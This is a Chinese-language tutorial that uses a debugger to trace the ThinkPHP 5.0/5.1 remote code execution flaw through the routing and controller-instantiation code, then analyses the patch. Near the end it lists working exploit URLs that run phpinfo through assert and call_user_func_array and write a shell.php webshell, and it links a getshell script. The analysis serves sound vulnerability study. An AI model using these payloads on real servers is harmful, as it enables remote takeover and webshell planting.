「白帽挖洞技能提高」ThinkPHP5 遠程代碼執行漏洞-動態分析

ThinkPHP是爲了簡化企業級應用開發和敏捷WEB應用開發而誕生的,在保持出色的性能和至簡代碼的同時,也注重易用性。可是簡潔易操做也會出現漏洞,以前ThinkPHP官方修復了一個嚴重的遠程代碼執行漏洞。php

這個漏洞的主要緣由是因爲框架對控制器名沒有進行足夠的校驗致使在沒有開啓強制路由的狀況下能夠構造惡意語句執行遠程命令,受影響的版本包括5.0和5.1版本。html

那麼今天i春秋用動態分析法來介紹遠程代碼執行,同時還能快速瞭解整個執行過程和一些變量參數,文章閱讀用時約7分鐘。python

 

 

01環境git

程序源碼下載:github

http://www.thinkphp.cn/download/967.htmlthinkphp

Web環境:Windows 10 x64+PHPStudy 20018shell

調試工具:phpstorm+xdebug(用vscode也能夠,我比較習慣用phpstorm)數組

由於我是從頭分析到尾,因此要在設置裏面勾上Break at first line in PHP script瀏覽器

 

 

 

搭建就很少說了,放源碼在根目錄而後phpstudy啓動!app

 

02漏洞復現

 

 

 

其實有不少利用的地方,到後面分析完再說。

 

03漏洞分析

由於是從開始分析,也比較適合新手,就不演示去下某個斷點了,若是有不懂的大家也能夠在不懂的地方下一個斷點而後繼續分析(記得去掉Break at first line in PHP script再下斷點)。

有些不是重點的直接F7或者F8走下去,F7跟進Facade:

 

 

 

到App.php初始化的地方,繼續F8往下面走:

 

 

 

到routeCheckF7跟進去:

 

 

 

到這裏F7繼續跟進去:

 

 

有些沒有必要的函數就直接F8跳過去,到pathinfo( )這裏F7跟進去:

 

 

 

咱們能夠分析一下這個·pathinfo函數的代碼$this->config->get('var_pathinfo')這一句是從配置文件config/app.php獲取的值:

 

 

 

當請求報文包含$_GET['s'],就取其值做爲pathinfo,並返回pathinfo給調用函數,因此咱們可利用$_GET['s']來傳遞路由信息。

public function pathinfo()
 {
 if (is_null($this->pathinfo)) {
 if (isset($_GET[$this->config->get('var_pathinfo')])) {
 // 判斷URL裏面是否有兼容模式參數
 $_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')];
 unset($_GET[$this->config->get('var_pathinfo')]);
 } elseif ($this->isCli()) {
 // CLI模式下 index.php module/controller/action/params/...
 $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
 }
 // 分析PATHINFO信息
 if (!isset($_SERVER['PATH_INFO'])) {
 foreach ($this->config->get('pathinfo_fetch') as $type) {
 if (!empty($_SERVER[$type])) {
 $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
 substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
 break;
 }
 }
 }
 $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
 }
 return $this->pathinfo;
 }

能夠看到return $this->pathinfo;返回的內容:

 

 

 

F7走,能夠看到$pathinfo賦值給$this->path:

 

 

 

F7走到check的函數,若是開啓了強制路由則會拋出異常,也就是說該漏洞在開啓強制路由的狀況下不受影響,可是默認是不開啓的。

後面看到實例化了UrlDispatch對象,將$url傳遞給了構造函數。

 

 

 

再繼續分析下去,中間有些沒必要要的直接F8走過就好了。能夠看到將$url傳遞給了$action。

 

 

 

F7走下去,跳回了App.php,能夠看到$dispatch返回來的值代入dispatch方法。

 

 

 

F7走進去,能夠看到傳入的$dispatch賦值給了$this->dispatch,不過如今分析這個版本是有改動的,有些版本是在這裏用dispatch代入下面會分析到的parseUrl方法,這個版本的是用$this->action來parseUrl方法的,繼續分析下去,下面會分析到的。

 

 

 

F7又返回了App.php的文件,能夠看到執行調度這裏$data = $dispatch->run( );,咱們F7跟進去。

 

 

 

這裏就是上面所說的,$url是由thinkphp/library/think/route/Dispatch.php裏面的$this->action = $action;傳過來的。

 

 

 

咱們F7繼續分析parseUrl方法,而後F8走到這裏。

 

 

 

F7進到這個parseUrlPath方法裏面,用/來分割[模塊/控制器/操做]並存到$path數組裏面。

private function parseUrlPath($url)
 {
 // 分隔符替換 確保路由定義使用統一的分隔符
 $url = str_replace('|', '/', $url);
 $url = trim($url, '/');
 $var = [];
 if (false !== strpos($url, '?')) {
 // [模塊/控制器/操做?]參數1=值1&參數2=值2...
 $info = parse_url($url);
 $path = explode('/', $info['path']);
 parse_str($info['query'], $var);
 } elseif (strpos($url, '/')) {
 // [模塊/控制器/操做]
 $path = explode('/', $url);
 } elseif (false !== strpos($url, '=')) {
 // 參數1=值1&參數2=值2...
 parse_str($url, $var);
 } else {
 $path = [$url];
 }
 return [$path, $var];
 }

 

 

 

中間的繼續F8往下走,返回的$route數組

 

 

 

繼續往下走,F7進去。

 

 

 

能夠看到:

thinkphp/library/think/route/Dispatch.php類這裏的$this->action的值變了。

 

 

 

繼續會走到:

thinkphp/library/think/route/dispatch/Module.php,能夠看到$this->action賦值給了$result。

 

 

 

F8往下走,走到實例化控制器,這裏的$controller是可控的,是由上面的$result[1]傳過來的。

 

 

 

F7跟進去,當$name存在反斜槓時就直接將$name賦值給$class並返回。攻擊者經過控制輸入就能夠操控類的實例化過程,從而形成代碼執行漏洞。

 

 

 

下面就是調用反射執行類的步驟了:

 

 

 

也能夠往下看,這裏是經過invokeMethod 函數動態調用方法的地方,能夠看到$class是think\Requset的類,$method是input。

 

 

 

後面就是把內容輸出到瀏覽器的過程了

 

 

 

04漏洞分析回顧

開始咱們分析pathinfo( )函數的時候得知能夠用s來獲取路由信息

parseUrlPath方法用來分割[模塊/控制器/操做]格式

在後面傳入$controller的時候,就是開始咱們獲取到路由的值,可是用反斜槓就開頭,就是想要實例化的類。

最後是反射函數,調用了input方法執行phpinfo( )

必定是要Request類裏面的input方法來執行嗎?

不必定,視版本而決定。

如下是先知大神分類出來的

5.1是下面這些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

兩個版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php

5.0.x php版本>=5.4:

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

這裏也不寫getshell的python腳本了 ,能夠參考:

https://github.com/theLSA/tp5-getshell

05補丁分析

下面是針對5.0和5.1的補丁,添加了正則過濾,致使沒法再傳入\think\app這種形式的控制器。

 

 

 

 

 

以上是今天的內容,你們看懂了嗎?

相關文章
相關標籤/搜索